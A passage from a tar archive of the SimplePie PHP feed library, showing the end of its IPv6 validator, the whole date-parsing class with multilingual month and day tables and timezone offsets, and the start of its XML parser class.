&& count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') return false; // Nor can it be over four characters if (strlen($ipv6_part) > 4) return false; // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') $ipv6_part = '0'; // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) return false; } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) return false; } } return true; } return false; } /** * Checks if the given IP is a valid IPv6 address * * @codeCoverageIgnore * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead * @see check_ipv6 * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function checkIPv6($ip) { return self::check_ipv6($ip); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Parse/Date.php����������������������������������������������������������������������������0000644�����������������00000050107�15120262027�0011073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Date Parser * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parse_Date { /** * Input data * * @access protected * @var string */ var $date; /** * List of days, calendar day name => ordinal day number in the week * * @access protected * @var array */ var $day = array( // English 'mon' => 1, 'monday' => 1, 'tue' => 2, 'tuesday' => 2, 'wed' => 3, 'wednesday' => 3, 'thu' => 4, 'thursday' => 4, 'fri' => 5, 'friday' => 5, 'sat' => 6, 'saturday' => 6, 'sun' => 7, 'sunday' => 7, // Dutch 'maandag' => 1, 'dinsdag' => 2, 'woensdag' => 3, 'donderdag' => 4, 'vrijdag' => 5, 'zaterdag' => 6, 'zondag' => 7, // French 'lundi' => 1, 'mardi' => 2, 'mercredi' => 3, 'jeudi' => 4, 'vendredi' => 5, 'samedi' => 6, 'dimanche' => 7, // German 'montag' => 1, 'mo' => 1, 'dienstag' => 2, 'di' => 2, 'mittwoch' => 3, 'mi' => 3, 'donnerstag' => 4, 'do' => 4, 'freitag' => 5, 'fr' => 5, 'samstag' => 6, 'sa' => 6, 'sonnabend' => 6, // AFAIK no short form for sonnabend 'so' => 7, 'sonntag' => 7, // Italian 'lunedì' => 1, 'martedì' => 2, 'mercoledì' => 3, 'giovedì' => 4, 'venerdì' => 5, 'sabato' => 6, 'domenica' => 7, // Spanish 'lunes' => 1, 'martes' => 2, 'miércoles' => 3, 'jueves' => 4, 'viernes' => 5, 'sábado' => 6, 'domingo' => 7, // Finnish 'maanantai' => 1, 'tiistai' => 2, 'keskiviikko' => 3, 'torstai' => 4, 'perjantai' => 5, 'lauantai' => 6, 'sunnuntai' => 7, // Hungarian 'hétfő' => 1, 'kedd' => 2, 'szerda' => 3, 'csütörtok' => 4, 'péntek' => 5, 'szombat' => 6, 'vasárnap' => 7, // Greek 'Δευ' => 1, 'Τρι' => 2, 'Τετ' => 3, 'Πεμ' => 4, 'Παρ' => 5, 'Σαβ' => 6, 'Κυρ' => 7, // Russian 'Пн.' => 1, 'Вт.' => 2, 'Ср.' => 3, 'Чт.' => 4, 'Пт.' => 5, 'Сб.' => 6, 'Вс.' => 7, ); /** * List of months, calendar month name => calendar month number * * @access protected * @var array */ var $month = array( // English 'jan' => 1, 'january' => 1, 'feb' => 2, 'february' => 2, 'mar' => 3, 'march' => 3, 'apr' => 4, 'april' => 4, 'may' => 5, // No long form of May 'jun' => 6, 'june' => 6, 'jul' => 7, 'july' => 7, 'aug' => 8, 'august' => 8, 'sep' => 9, 'september' => 9, 'oct' => 10, 'october' => 10, 'nov' => 11, 'november' => 11, 'dec' => 12, 'december' => 12, // Dutch 'januari' => 1, 'februari' => 2, 'maart' => 3, 'april' => 4, 'mei' => 5, 'juni' => 6, 'juli' => 7, 'augustus' => 8, 'september' => 9, 'oktober' => 10, 'november' => 11, 'december' => 12, // French 'janvier' => 1, 'février' => 2, 'mars' => 3, 'avril' => 4, 'mai' => 5, 'juin' => 6, 'juillet' => 7, 'août' => 8, 'septembre' => 9, 'octobre' => 10, 'novembre' => 11, 'décembre' => 12, // German 'januar' => 1, 'jan' => 1, 'februar' => 2, 'feb' => 2, 'märz' => 3, 'mär' => 3, 'april' => 4, 'apr' => 4, 'mai' => 5, // no short form for may 'juni' => 6, 'jun' => 6, 'juli' => 7, 'jul' => 7, 'august' => 8, 'aug' => 8, 'september' => 9, 'sep' => 9, 'oktober' => 10, 'okt' => 10, 'november' => 11, 'nov' => 11, 'dezember' => 12, 'dez' => 12, // Italian 'gennaio' => 1, 'febbraio' => 2, 'marzo' => 3, 'aprile' => 4, 'maggio' => 5, 'giugno' => 6, 'luglio' => 7, 'agosto' => 8, 'settembre' => 9, 'ottobre' => 10, 'novembre' => 11, 'dicembre' => 12, // Spanish 'enero' => 1, 'febrero' => 2, 'marzo' => 3, 'abril' => 4, 'mayo' => 5, 'junio' => 6, 'julio' => 7, 'agosto' => 8, 'septiembre' => 9, 'setiembre' => 9, 'octubre' => 10, 'noviembre' => 11, 'diciembre' => 12, // Finnish 'tammikuu' => 1, 'helmikuu' => 2, 'maaliskuu' => 3, 'huhtikuu' => 4, 'toukokuu' => 5, 'kesäkuu' => 6, 'heinäkuu' => 7, 'elokuu' => 8, 'suuskuu' => 9, 'lokakuu' => 10, 'marras' => 11, 'joulukuu' => 12, // Hungarian 'január' => 1, 'február' => 2, 'március' => 3, 'április' => 4, 'május' => 5, 'június' => 6, 'július' => 7, 'augusztus' => 8, 'szeptember' => 9, 'október' => 10, 'november' => 11, 'december' => 12, // Greek 'Ιαν' => 1, 'Φεβ' => 2, 'Μάώ' => 3, 'Μαώ' => 3, 'Απρ' => 4, 'Μάι' => 5, 'Μαϊ' => 5, 'Μαι' => 5, 'Ιούν' => 6, 'Ιον' => 6, 'Ιούλ' => 7, 'Ιολ' => 7, 'Αύγ' => 8, 'Αυγ' => 8, 'Σεπ' => 9, 'Οκτ' => 10, 'Νοέ' => 11, 'Δεκ' => 12, // Russian 'Янв' => 1, 'января' => 1, 'Фев' => 2, 'февраля' => 2, 'Мар' => 3, 'марта' => 3, 'Апр' => 4, 'апреля' => 4, 'Май' => 5, 'мая' => 5, 'Июн' => 6, 'июня' => 6, 'Июл' => 7, 'июля' => 7, 'Авг' => 8, 'августа' => 8, 'Сен' => 9, 'сентября' => 9, 'Окт' => 10, 'октября' => 10, 'Ноя' => 11, 'ноября' => 11, 'Дек' => 12, 'декабря' => 12, ); /** * List of timezones, abbreviation => offset from UTC * * @access protected * @var array */ var $timezone = array( 'ACDT' => 37800, 'ACIT' => 28800, 'ACST' => 34200, 'ACT' => -18000, 'ACWDT' => 35100, 'ACWST' => 31500, 'AEDT' => 39600, 'AEST' => 36000, 'AFT' => 16200, 'AKDT' => -28800, 'AKST' => -32400, 'AMDT' => 18000, 'AMT' => -14400, 'ANAST' => 46800, 'ANAT' => 43200, 'ART' => -10800, 'AZOST' => -3600, 'AZST' => 18000, 'AZT' => 14400, 'BIOT' => 21600, 'BIT' => -43200, 'BOT' => -14400, 'BRST' => -7200, 'BRT' => -10800, 'BST' => 3600, 'BTT' => 21600, 'CAST' => 18000, 'CAT' => 7200, 'CCT' => 23400, 'CDT' => -18000, 'CEDT' => 7200, 'CEST' => 7200, 'CET' => 3600, 'CGST' => -7200, 'CGT' => -10800, 'CHADT' => 49500, 'CHAST' => 45900, 'CIST' => -28800, 'CKT' => -36000, 'CLDT' => -10800, 'CLST' => -14400, 'COT' => -18000, 'CST' => -21600, 'CVT' => -3600, 'CXT' => 25200, 'DAVT' => 25200, 'DTAT' => 36000, 'EADT' => -18000, 'EAST' => -21600, 'EAT' => 10800, 'ECT' => -18000, 'EDT' => -14400, 'EEST' => 10800, 'EET' => 7200, 'EGT' => -3600, 'EKST' => 21600, 'EST' => -18000, 'FJT' => 43200, 'FKDT' => -10800, 'FKST' => -14400, 'FNT' => -7200, 'GALT' => -21600, 'GEDT' => 14400, 'GEST' => 10800, 'GFT' => -10800, 'GILT' => 43200, 'GIT' => -32400, 'GST' => 14400, 'GST' => -7200, 'GYT' => -14400, 'HAA' => -10800, 'HAC' => -18000, 'HADT' => -32400, 'HAE' => -14400, 'HAP' => -25200, 'HAR' => -21600, 'HAST' => -36000, 'HAT' => -9000, 'HAY' => -28800, 'HKST' => 28800, 'HMT' => 18000, 'HNA' => -14400, 'HNC' => -21600, 'HNE' => -18000, 'HNP' => -28800, 'HNR' => -25200, 'HNT' => -12600, 'HNY' => -32400, 'IRDT' => 16200, 'IRKST' => 32400, 'IRKT' => 28800, 'IRST' => 12600, 'JFDT' => -10800, 'JFST' => -14400, 'JST' => 32400, 'KGST' => 21600, 'KGT' => 18000, 'KOST' => 39600, 'KOVST' => 28800, 'KOVT' => 25200, 'KRAST' => 28800, 'KRAT' => 25200, 'KST' => 32400, 'LHDT' => 39600, 'LHST' => 37800, 'LINT' => 50400, 'LKT' => 21600, 'MAGST' => 43200, 'MAGT' => 39600, 'MAWT' => 21600, 'MDT' => -21600, 'MESZ' => 7200, 'MEZ' => 3600, 'MHT' => 43200, 'MIT' => -34200, 'MNST' => 32400, 'MSDT' => 14400, 'MSST' => 10800, 'MST' => -25200, 'MUT' => 14400, 'MVT' => 18000, 'MYT' => 28800, 'NCT' => 39600, 'NDT' => -9000, 'NFT' => 41400, 'NMIT' => 36000, 'NOVST' => 25200, 'NOVT' => 21600, 'NPT' => 20700, 'NRT' => 43200, 'NST' => -12600, 'NUT' => -39600, 'NZDT' => 46800, 'NZST' => 43200, 'OMSST' => 25200, 'OMST' => 21600, 'PDT' => -25200, 'PET' => -18000, 'PETST' => 46800, 'PETT' => 43200, 'PGT' => 36000, 'PHOT' => 46800, 'PHT' => 28800, 'PKT' => 18000, 'PMDT' => -7200, 'PMST' => -10800, 'PONT' => 39600, 'PST' => -28800, 'PWT' => 32400, 'PYST' => -10800, 'PYT' => -14400, 'RET' => 14400, 'ROTT' => -10800, 'SAMST' => 18000, 'SAMT' => 14400, 'SAST' => 7200, 'SBT' => 39600, 'SCDT' => 46800, 'SCST' => 43200, 'SCT' => 14400, 'SEST' => 3600, 'SGT' => 28800, 'SIT' => 28800, 'SRT' => -10800, 'SST' => -39600, 'SYST' => 10800, 'SYT' => 7200, 'TFT' => 18000, 'THAT' => -36000, 'TJT' => 18000, 'TKT' => -36000, 'TMT' => 18000, 'TOT' => 46800, 'TPT' => 32400, 'TRUT' => 36000, 'TVT' => 43200, 'TWT' => 28800, 'UYST' => -7200, 'UYT' => -10800, 'UZT' => 18000, 'VET' => -14400, 'VLAST' => 39600, 'VLAT' => 36000, 'VOST' => 21600, 'VUT' => 39600, 'WAST' => 7200, 'WAT' => 3600, 'WDT' => 32400, 'WEST' => 3600, 'WFT' => 43200, 'WIB' => 25200, 'WIT' => 32400, 'WITA' => 28800, 'WKST' => 18000, 'WST' => 28800, 'YAKST' => 36000, 'YAKT' => 32400, 'YAPT' => 36000, 'YEKST' => 21600, 'YEKT' => 18000, ); /** * Cached PCRE for SimplePie_Parse_Date::$day * * @access protected * @var string */ var $day_pcre; /** * Cached PCRE for SimplePie_Parse_Date::$month * * @access protected * @var string */ var $month_pcre; /** * Array of user-added callback methods * * @access private * @var array */ var $built_in = array(); /** * Array of user-added callback methods * * @access private * @var array */ var $user = array(); /** * Create new SimplePie_Parse_Date object, and set self::day_pcre, * self::month_pcre, and self::built_in * * @access private */ public function __construct() { $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')'; $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')'; static $cache; if (!isset($cache[get_class($this)])) { $all_methods = get_class_methods($this); foreach ($all_methods as $method) { if (strtolower(substr($method, 0, 5)) === 'date_') { $cache[get_class($this)][] = $method; } } } foreach ($cache[get_class($this)] as $method) { $this->built_in[] = $method; } } /** * Get the object * * @access public */ public static function get() { static $object; if (!$object) { $object = new SimplePie_Parse_Date; } return $object; } /** * Parse a date * * @final * @access public * @param string $date Date to parse * @return int Timestamp corresponding to date string, or false on failure */ public function parse($date) { foreach ($this->user as $method) { if (($returned = call_user_func($method, $date)) !== false) { return $returned; } } foreach ($this->built_in as $method) { if (($returned = call_user_func(array($this, $method), $date)) !== false) { return $returned; } } return false; } /** * Add a callback method to parse a date * * @final * @access public * @param callback $callback */ public function add_callback($callback) { if (is_callable($callback)) { $this->user[] = $callback; } else { trigger_error('User-supplied function must be a valid callback', E_USER_WARNING); } } /** * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as * well as allowing any of upper or lower case "T", horizontal tabs, or * spaces to be used as the time separator (including more than one)) * * @access protected * @return int Timestamp */ public function date_w3cdtf($date) { static $pcre; if (!$pcre) { $year = '([0-9]{4})'; $month = $day = $hour = $minute = $second = '([0-9]{2})'; $decimal = '([0-9]*)'; $zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))'; $pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Year 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Decimal fraction of a second 8: Zulu 9: Timezone ± 10: Timezone hours 11: Timezone minutes */ // Fill in empty matches for ($i = count($match); $i <= 3; $i++) { $match[$i] = '1'; } for ($i = count($match); $i <= 7; $i++) { $match[$i] = '0'; } // Numeric timezone if (isset($match[9]) && $match[9] !== '') { $timezone = $match[10] * 3600; $timezone += $match[11] * 60; if ($match[9] === '-') { $timezone = 0 - $timezone; } } else { $timezone = 0; } // Convert the number of seconds to an integer, taking decimals into account $second = round((int)$match[6] + (int)$match[7] / (10 ** strlen($match[7]))); return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone; } return false; } /** * Remove RFC822 comments * * @access protected * @param string $data Data to strip comments from * @return string Comment stripped string */ public function remove_rfc2822_comments($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($pos === 0 || $string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } /** * Parse RFC2822's date format * * @access protected * @return int Timestamp */ public function date_rfc2822($date) { static $pcre; if (!$pcre) { $wsp = '[\x09\x20]'; $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)'; $optional_fws = $fws . '?'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $minute = $second = '([0-9]{2})'; $year = '([0-9]{2,4})'; $num_zone = '([+\-])([0-9]{2})([0-9]{2})'; $character_zone = '([A-Z]{1,5})'; $zone = '(?:' . $num_zone . '|' . $character_zone . ')'; $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i'; } if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone ± 9: Timezone hours 10: Timezone minutes 11: Alphabetic timezone */ // Find the month number $month = $this->month[strtolower($match[3])]; // Numeric timezone if ($match[8] !== '') { $timezone = $match[9] * 3600; $timezone += $match[10] * 60; if ($match[8] === '-') { $timezone = 0 - $timezone; } } // Character timezone elseif (isset($this->timezone[strtoupper($match[11])])) { $timezone = $this->timezone[strtoupper($match[11])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2/3 digit years if ($match[4] < 50) { $match[4] += 2000; } elseif ($match[4] < 1000) { $match[4] += 1900; } // Second is optional, if it is empty set it to zero if ($match[7] !== '') { $second = $match[7]; } else { $second = 0; } return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone; } return false; } /** * Parse RFC850's date format * * @access protected * @return int Timestamp */ public function date_rfc850($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $year = $hour = $minute = $second = '([0-9]{2})'; $zone = '([A-Z]{1,5})'; $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone */ // Month $month = $this->month[strtolower($match[3])]; // Character timezone if (isset($this->timezone[strtoupper($match[8])])) { $timezone = $this->timezone[strtoupper($match[8])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2 digit year if ($match[4] < 50) { $match[4] += 2000; } else { $match[4] += 1900; } return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone; } return false; } /** * Parse C99's asctime()'s date format * * @access protected * @return int Timestamp */ public function date_asctime($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $wday_name = $this->day_pcre; $mon_name = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $sec = $min = '([0-9]{2})'; $year = '([0-9]{4})'; $terminator = '\x0A?\x00?'; $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Year */ $month = $this->month[strtolower($match[2])]; return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]); } return false; } /** * Parse dates using strtotime() * * @access protected * @return int Timestamp */ public function date_strtotime($date) { $strtotime = strtotime($date); if ($strtotime === -1 || $strtotime === false) { return false; } return $strtotime; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Parser.php��������������������������������������������������������������������������������0000644�����������������00000067622�15120262027�0010412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Parses XML into something sane * * * This class can be overloaded with {@see SimplePie::set_parser_class()} * * @package SimplePie * @subpackage Parsing */ class SimplePie_Parser { var $error_code; var $error_string; var $current_line; var $current_column; var $current_byte; var $separator = ' '; var $namespace = array(''); var $element = array(''); var $xml_base = array(''); var $xml_base_explicit = array(false); var $xml_lang = array(''); var $data = array(); var $datas = array(array()); var $current_xhtml_construct = -1; var $encoding; protected $registry; public function set_registry(SimplePie_Registry $registry) { $this->registry = $registry; } public function parse(&$data, $encoding, $url = '') { if (class_exists('DOMXpath') && function_exists('Mf2\parse')) { $doc = new DOMDocument(); @$doc->loadHTML($data); $xpath = new DOMXpath($doc); // Check for both h-feed and h-entry, as both a feed with no entries // and a list of entries without an h-feed wrapper are both valid. $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '. 'contains(concat(" ", @class, " "), " h-entry ")]'; $result = $xpath->query($query); if ($result->length !== 0) { return $this->parse_microformats($data, $url); } } // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character if (strtoupper($encoding) === 'US-ASCII') { $this->encoding = 'UTF-8'; } else { $this->encoding = $encoding; } // Strip BOM: // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $data = substr($data, 4); } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $data = substr($data, 4); } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $data = substr($data, 2); } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $data = substr($data, 2); } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $data = substr($data, 3); } if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) { $declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($declaration->parse()) { $data = substr($data, $pos + 2); $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' ."\n". $this->declare_html_entities() . $data; } else { $this->error_string = 'SimplePie bug! Please report this!'; return false; } } $return = true; static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } // Create the parser if ($xml_is_sane) { $xml = xml_parser_create_ns($this->encoding, $this->separator); xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0); xml_set_object($xml, $this); xml_set_character_data_handler($xml, 'cdata'); xml_set_element_handler($xml, 'tag_open', 'tag_close'); // Parse! if (!xml_parse($xml, $data, true)) { $this->error_code = xml_get_error_code($xml); $this->error_string = xml_error_string($this->error_code); $return = false; } $this->current_line = xml_get_current_line_number($xml); $this->current_column = xml_get_current_column_number($xml); $this->current_byte = xml_get_current_byte_index($xml); xml_parser_free($xml); return $return; } libxml_clear_errors(); $xml = new XMLReader(); $xml->xml($data); while (@$xml->read()) { switch ($xml->nodeType) { case constant('XMLReader::END_ELEMENT'): if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $this->tag_close(null, $tagName); break; case constant('XMLReader::ELEMENT'): $empty = $xml->isEmptyElement; if ($xml->namespaceURI !== '') { $tagName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $tagName = $xml->localName; } $attributes = array(); while ($xml->moveToNextAttribute()) { if ($xml->namespaceURI !== '') { $attrName = $xml->namespaceURI . $this->separator . $xml->localName; } else { $attrName = $xml->localName; } $attributes[$attrName] = $xml->value; } $this->tag_open(null, $tagName, $attributes); if ($empty) { $this->tag_close(null, $tagName); } break; case constant('XMLReader::TEXT'): case constant('XMLReader::CDATA'): $this->cdata(null, $xml->value); break; } } if ($error = libxml_get_last_error()) { $this->error_code = $error->code; $this->error_string = $error->message; $this->current_line = $error->line; $this->current_column = $error->column; return false; } return true; } public function get_error_code() { return $this->error_code; } public function get_error_string() { return $this->error_string; } public function get_current_line() { return $this->current_line; } public function get_current_column() { return $this->current_column; } public function get_current_byte() { return $this->current_byte; } public function get_data() { return $this->data; } public function tag_open($parser, $tag, $attributes) { list($this->namespace[], $this->element[]) = $this->split_ns($tag); $attribs = array(); foreach ($attributes as $name => $value) { list($attrib_namespace, $attribute) = $this->split_ns($name); $attribs[$attrib_namespace][$attribute] = $value; } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base'])) { $base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base))); if ($base !== false) { $this->xml_base[] = $base; $this->xml_base_explicit[] = true; } } else { $this->xml_base[] = end($this->xml_base); $this->xml_base_explicit[] = end($this->xml_base_explicit); } if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang'])) { $this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang']; } else { $this->xml_lang[] = end($this->xml_lang); } if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct++; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML) { $this->data['data'] .= '<' . end($this->element); if (isset($attribs[''])) { foreach ($attribs[''] as $name => $value) { $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"'; } } $this->data['data'] .= '>'; } } else { $this->datas[] =& $this->data; $this->data =& $this->data['child'][end($this->namespace)][end($this->element)][]; $this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)); if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml') || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title'))) || (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title')))) { $this->current_xhtml_construct = 0; } } } public function cdata($parser, $cdata) { if ($this->current_xhtml_construct >= 0) { $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding); } else { $this->data['data'] .= $cdata; } } public function tag_close($parser, $tag) { if ($this->current_xhtml_construct >= 0) { $this->current_xhtml_construct--; if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'))) { $this->data['data'] .= '</' . end($this->element) . '>'; } } if 